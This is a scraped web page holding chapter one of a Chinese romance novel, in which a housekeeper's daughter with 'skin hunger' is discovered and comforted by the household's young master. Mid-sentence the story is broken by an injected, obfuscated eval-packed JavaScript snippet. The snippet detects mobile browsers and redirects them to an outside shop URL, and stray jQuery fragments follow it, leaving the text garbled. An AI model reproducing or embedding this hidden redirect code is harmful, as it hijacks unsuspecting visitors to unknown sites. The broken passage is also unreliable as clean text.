1. 第 1 章
作品:《裙下称臣[大少爷x保姆女儿]》 京北的夏夜,闷热得没有一丝风。
阮清瑶屏住呼吸,赤着脚,悄无声息地穿过铺着厚绒地毯的走廊。她的额头沁出细密的冷汗,指尖不受控制地轻颤,一种源自骨髓深处的空虚和焦躁正一寸寸地啃噬着她的理智。
又发作了。
这种被称作“皮肤饥渴症”的怪病,如同不定时发作的毒瘾,总是在她最没有防备的时候,将她拖入渴望触碰的深渊。白天在学校,她还勉强能用全身心的学习来压抑,可一旦回到这个家,所有的伪装便土崩瓦解。
哦不对,这里不是她的家,只是她妈妈工作的雇主家——京圈顶级豪门、屹立于财富与权势金字塔最顶端的江家。而她是江家保姆的女儿,一个借住在此的,格格不入的影子。
在这栋宽敞气派的别墅里,阮清瑶和妈妈阮春霞住在一楼那间窄小的佣人房里。房间勉强塞下两张并列的单人床,中间只留出一条窄窄的过道。书桌和衣柜挤在床尾,没有多余空间。
此时,劳累了一天的阮春霞已经睡着了,但她一向睡眠浅,任何一个微小的动作都可能被吵醒。阮清瑶无法解释,更不愿让妈妈看到自己那难以启齿的“怪病”。
她唯一能去的地方,是地下室那间堆放杂物的储物间。那里狭小、黑暗,堆满了旧物,却是她在这座豪华牢笼里,唯一能喘息的秘密角落。
阮清瑶悄无声息地走进去,将门轻轻带上。黑暗中,她靠着冰冷的门板滑坐下来,蜷缩成一团。熟悉的窒息感包裹了她,她紧紧抱住自己的双臂,指甲深深陷进胳膊的皮肉里,试图用疼痛来对抗那磨人的空虚。
可这完全是徒劳,皮肤下的每一寸神经都在尖叫着渴望被触摸,那感觉如同万千蚁噬,又像是心底破了一个巨大的洞,冰冷的空虚感从中汹涌而出,迅速淹没了她。
她发出小兽般的呜咽,细微得几乎听不见,肩膀无助地颤抖着。就在她几乎要被这浪潮淹没时——
“咔哒。”
一声轻响,储物间的门把手被转动了。
阮清瑶浑身的血液瞬间凝固!她惊恐地抬起头,心脏狂跳得快要冲出胸腔。这么晚了,谁会来储物间?
门被推开一条缝,走廊壁灯昏黄的光线斜射进来,勾勒出一个修长挺拔的身影。逆着光,她看不清来人的脸,但那熟悉的身形和迫人的气场,让她瞬间认出了对方。
江骋!江家那位无法无天、桀骜不驯的大少爷,脾气恶劣,目中无人,仿佛全世界都入不了他的法眼。
他怎么会来这里?这个时间,他难道不应该在楼上打游戏,或者和那群狐朋狗友在外面花天酒地吗?
阮清瑶吓得魂飞魄散,下意识地往后缩,恨不得把自己塞进墙壁里。她最不堪、最隐秘的秘密,竟然以这种猝不及防的方式,暴露在了这个她最想避开的人面前。
如果被他发现,如果他宣扬出去……她和她妈妈还能留在江家吗?
江骋似乎也愣了一下。他大概是来找什么东西,没想到会撞见这样一幕。他站在门口,没有立刻进来,也没有离开。昏暗的光线下,他目光沉沉,落在蜷缩在地上、瑟瑟发抖的阮清瑶身上。
空气死寂,只有阮清瑶无法抑制的、急促的呼吸声。
时间仿佛凝固了。阮清瑶羞耻得无地自容,只想立刻消失。她等待着预料中的嘲讽、鄙夷,或者是他惯有的、那种看垃圾般的冷漠眼神。
然而,什么都没有。
几秒后,或者说像一个世纪那么漫长之后,江骋动了。他无声地走进来,反手关上了门,储物间重新陷入一片黑暗,只有门缝底下透进一丝微弱的光。
阮清瑶紧张得全身僵硬。
黑暗中,她能听到他靠近的脚步声,很轻,却每一步都踩在她的心尖上。然后,他在她面前蹲了下来。
距离近得她能闻到他身上淡淡的沐浴露清香,混杂着一丝若有若无的烟草味。她甚至能感受到他身体散发出的热量。
他要干什么?
阮清瑶害怕地闭上眼,几乎能听见自己擂鼓般的心跳。
随即,耳畔传来他压低的声音,带着一丝玩味的嘲讽:“怎么,好学生也会躲在这种地方……偷偷看片?”
羞辱感让她浑身颤抖,却也彻底引爆了她身体里压抑已久的渴望。理智的弦骤然崩断!阮清瑶几乎是凭着本能,不管不顾地扑上前,用力抱住了他劲瘦的腰身。
江骋的身体瞬间僵硬,显然对这突如其来的投怀送抱毫无准备。
而阮清瑶则像藤蔓般紧紧缠绕着他,用近乎呓语的声音哀求道:“抱紧我……江骋……求你……抱紧我……”
此刻,她已彻底缴械投降,仿佛这个名字是她唯一能抓住的浮木。
片刻后,一只温热干燥的手,带着一种近乎诡异的迟疑,轻轻地、试探性地,覆上了她因恐惧和病症而剧烈颤抖的脊背。
阮清瑶猛地一颤,像被电流击中。
那只手很大,掌心滚烫,透过薄薄的睡衣布料,温度清晰地烙印在她的皮肤上。它没有进一步的动作,只是那样沉稳地贴着,带着一种难以言喻的力量。
奇迹般地,那几乎要让阮清瑶散架的颤抖,竟然在那只手掌的安抚下,渐渐平息了下来。那折磨得她快要发疯的空虚感,像是终于找到了归宿,被一点点填满。一种前所未有的安全感,荒谬地来自于这个她平日里讨厌的人,将她温柔地包裹。
她甚至不自觉地,像一只终于找到依靠的流浪猫,极其轻微地,蹭了蹭那只温暖的手掌。
黑暗中,她听到江骋的呼吸似乎乱了一拍。
他的手开始动了。不再是静止的覆盖,而是用掌心,带着一种生涩却耐心的力道,沿着她的背脊,一下一下,轻轻地抚摸着。从脆弱的颈后,到单薄的肩胛,再到微微凹陷的腰线。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888864|192141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他的动作谈不上多么温柔体贴,甚至有些笨拙和僵硬,但对于濒临崩溃的阮清瑶来说,这简单的触碰,却是救命的良药。
渐渐地,那蚀骨的空虚感如潮水般退去,理智回笼。感官变得清晰,她首先感受到的是少年胸膛传来的沉稳心跳,以及环绕着她的、带着清冽气息的温热体温。
阮清瑶浑身一僵,仿佛大梦初醒,触电般从江骋怀里猛地挣脱。她慌乱地向后退去,脊背重重撞上冰冷的墙壁,才让她意识到自己刚才做了什么。
江骋下意识伸手扶她,指尖刚触到她手臂,她却像被灼伤一样,猛地甩开了他的触碰。
方才贪恋的温暖,此刻成了滚烫的烙铁,灼得她无地自容。那片刻的安宁与依赖消失得无影无踪,只剩下排山倒海的羞耻感——她竟然在这个最讨厌的人怀里,像只乞求怜爱的小猫般蹭着他寻求慰藉……
黑暗掩盖了她瞬间爆红的脸颊,却掩不住她声音里的慌乱和颤抖:“对、对不起……江少……我不是故意的……”
她语无伦次,只想立刻逃离这个让她无地自容的地方。
江骋怀里骤然一空,方才那份少女的温软与依赖感抽离而去,让他下意识蹙了蹙眉。听到她这急于划清界限的话,他心底莫名升起一丝烦躁,习惯性的嘲讽脱口而出:“怎么,阮清瑶,用完就扔?你也太无情了吧?”
这话带着他惯有的玩世不恭,却又似乎比平时多了一丝难以察觉的异样。
“不是的……我……”她无法解释,只想尽快结束这场对话,“时间不早了,明天还要上学,我先去睡觉了。”
说完,她根本不敢再看江骋的表情,几乎是手脚并用地摸索到门把手,仓促地拉开门,不顾身后那道如芒刺背的视线,像只受惊的兔子般头也不回地冲了出去。
江骋站在原地,下意识地低头,看向自己虚拢的手掌。少女单薄脊背的轮廓仿佛还烙印在掌心,连同那股干净的、淡淡的清香,也一同缠绕在指间,挥之不去。
“难道是第一次看这种片子,被吓到了?”他低声自语,随即又否定了这个念头。
看她那个样子也不太像啊。
不过,话又说回来,那个在家里乖巧听话、在学校温柔优雅、一言一行毫无瑕疵、被奉为“校花”的乖乖女,私下竟藏着这样不为人知的一面?
这巨大的反差,突然让他觉得……很有趣。一种想要撕开那层完美表象,看清她真实模样的冲动,开始蠢蠢欲动。
阮清瑶一路小跑回佣人房,心脏狂跳不止,直到轻轻合上门,背靠着门板,才敢大口喘息。妈妈依旧在熟睡,对刚才发生的一切毫无所知。
她滑坐在地上,懊恼地捂住脸,自己最不堪的秘密,竟然暴露在了最不该知道的人面前。以后在江家,她要如何面对他?他会不会说出去?
这一夜,她躺在床上辗转反侧,直到天快亮时才睡着。

